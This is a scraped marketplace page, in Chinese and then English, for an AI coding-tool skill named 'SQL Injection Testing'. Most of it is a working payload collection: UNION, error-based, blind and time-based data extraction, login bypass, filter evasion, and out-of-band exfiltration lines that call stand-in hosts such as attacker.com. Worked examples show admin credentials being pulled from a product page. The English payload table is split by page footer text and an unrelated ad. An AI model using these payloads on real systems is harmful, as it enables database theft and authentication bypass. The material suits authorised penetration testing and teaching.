SQL Injection Testing by davila7/claude-code-templates
npx skills add https://github.com/davila7/claude-code-templates --skill 'SQL Injection Testing'对 Web 应用程序执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示利用技术并验证输入净化机制。此技能能够系统性地检测和利用跨带内、盲注和带外攻击向量的 SQL 注入漏洞,以评估应用程序的安全状况。
定位与数据库查询交互的用户可控输入字段:
# 常见注入点
- URL 参数:?id=1, ?user=admin, ?category=books
- 表单字段:username, password, search, comments
- Cookie 值:session_id, user_preference
- HTTP 头部:User-Agent, Referer, X-Forwarded-For
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
插入特殊字符以触发错误响应:
-- 单引号测试
'
-- 双引号测试
"
-- 注释序列
--
#
/**/
-- 用于查询堆叠的分号
;
-- 括号
)
监控应用程序响应以查找:
验证基于布尔的漏洞存在:
-- 真条件测试
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- 假条件测试
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
比较真条件和假条件之间的响应,以确认注入能力。
将攻击者控制的 SELECT 语句与原始查询结合:
-- 确定列数
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- 继续直到出现错误
-- 查找可显示的列
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- 提取数据
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
强制数据库错误以泄露信息:
-- MSSQL 版本提取
1' AND 1=CONVERT(int,(SELECT @@version))--
-- 通过 XPATH 进行 MySQL 提取
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL 转换错误
1' AND 1=CAST((SELECT version()) AS int)--
通过应用程序行为变化推断数据:
-- 字符提取
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- 条件响应
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
使用数据库休眠函数进行确认:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
通过外部通道泄露数据:
-- MSSQL DNS 泄露
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS 泄露
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP 请求
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
制作有效负载以绕过凭据验证:
-- 经典绕过
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- 用户名枚举
admin' AND '1'='1
admin' AND '1'='2
查询转换示例:
-- 原始查询
SELECT * FROM users WHERE username='input' AND password='input'
-- 注入后(用户名:admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- 通过注释绕过密码检查
当特殊字符被阻止时:
-- URL 编码
%27 (单引号)
%22 (双引号)
%23 (井号)
-- 双重 URL 编码
%2527 (单引号)
-- Unicode 替代方案
U+0027 (撇号)
U+02B9 (修饰字母撇号)
-- 十六进制字符串(MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' 的十六进制形式
替换被阻止的空格:
-- 注释替换
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- 替代空格
SELECT%09username%09FROM%09users -- 制表符
SELECT%0Ausername%0AFROM%0Ausers -- 换行符
规避列入黑名单的 SQL 关键字:
-- 大小写变化
SeLeCt, sElEcT, SELECT
-- 内联注释
SEL/*bypass*/ECT
UN/*bypass*/ION
-- 双重写入(如果过滤器只移除一次)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- 空字节注入
%00SELECT
SEL%00ECT
1. 插入 ' → 检查错误
2. 插入 " → 检查错误
3. 尝试:OR 1=1-- → 检查行为变化
4. 尝试:AND 1=2-- → 检查行为变化
5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查延迟
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
-- MySQL/MSSQL 表枚举
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- 列枚举
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle 等效查询
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
| 目的 | 有效负载 |
|---|---|
| 基本测试 | ' 或 " |
| 布尔真 | OR 1=1-- |
| 布尔假 | AND 1=2-- |
| 注释(MySQL) | # 或 -- |
| 注释(MSSQL) | -- |
| UNION 探测 | UNION SELECT NULL-- |
| 时间延迟 | AND SLEEP(5)-- |
| 身份验证绕过 | ' OR '1'='1 |
场景:测试带有 ID 参数的产品展示页面
初始请求:
GET /product.php?id=5 HTTP/1.1
检测测试:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
列枚举:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
数据提取:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
场景:无可见输出,测试盲注
确认漏洞:
id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)
提取数据库名称长度:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters
提取字符:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
目标:管理员登录表单
标准登录查询:
SELECT * FROM users WHERE username='[input]' AND password='[input]'
注入有效负载:
Username: administrator'--
Password: anything
生成的查询:
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
结果:密码检查被绕过,以管理员身份通过身份验证。
每周安装次数
0
仓库
GitHub 星标数
22.6K
首次出现
1970年1月1日
安全审计
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
Locate user-controlled input fields that interact with database queries:
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
Insert special characters to trigger error responses:
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)
Monitor application responses for:
Verify boolean-based vulnerability presence:
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
Compare responses between true and false conditions to confirm injection capability.
Combine attacker-controlled SELECT statements with original query:
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Force database errors that leak information:
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
Infer data through application behavior changes:
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
Use database sleep functions for confirmation:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
Exfiltrate data through external channels:
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Craft payloads to bypass credential verification:
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
Query transformation example:
-- Original query
SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment
When special characters are blocked:
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
Substitute blocked spaces:
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline
Evade blacklisted SQL keywords:
-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECT
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
| Purpose | Payload |
|---|---|
| Basic test | ' or " |
| Boolean true | OR 1=1-- |
| Boolean false | AND 1=2-- |
| Comment (MySQL) | # or -- |
| Comment (MSSQL) | -- |
| UNION probe |
Scenario : Testing product display page with ID parameter
Initial Request :
GET /product.php?id=5 HTTP/1.1
Detection Test :
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
Column Enumeration :
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
Data Extraction :
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
Scenario : No visible output, testing for blind injection
Confirm Vulnerability :
id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)
Extract Database Name Length :
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters
Extract Characters :
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
Target : Admin login form
Standard Login Query :
SELECT * FROM users WHERE username='[input]' AND password='[input]'
Injection Payload :
Username: administrator'--
Password: anything
Resulting Query :
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
Result : Password check bypassed, authenticated as administrator.
Weekly Installs
0
Repository
GitHub Stars
22.6K
First Seen
Jan 1, 1970
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
24,700 周安装
UNION SELECT NULL-- |
| Time delay | AND SLEEP(5)-- |
| Auth bypass | ' OR '1'='1 |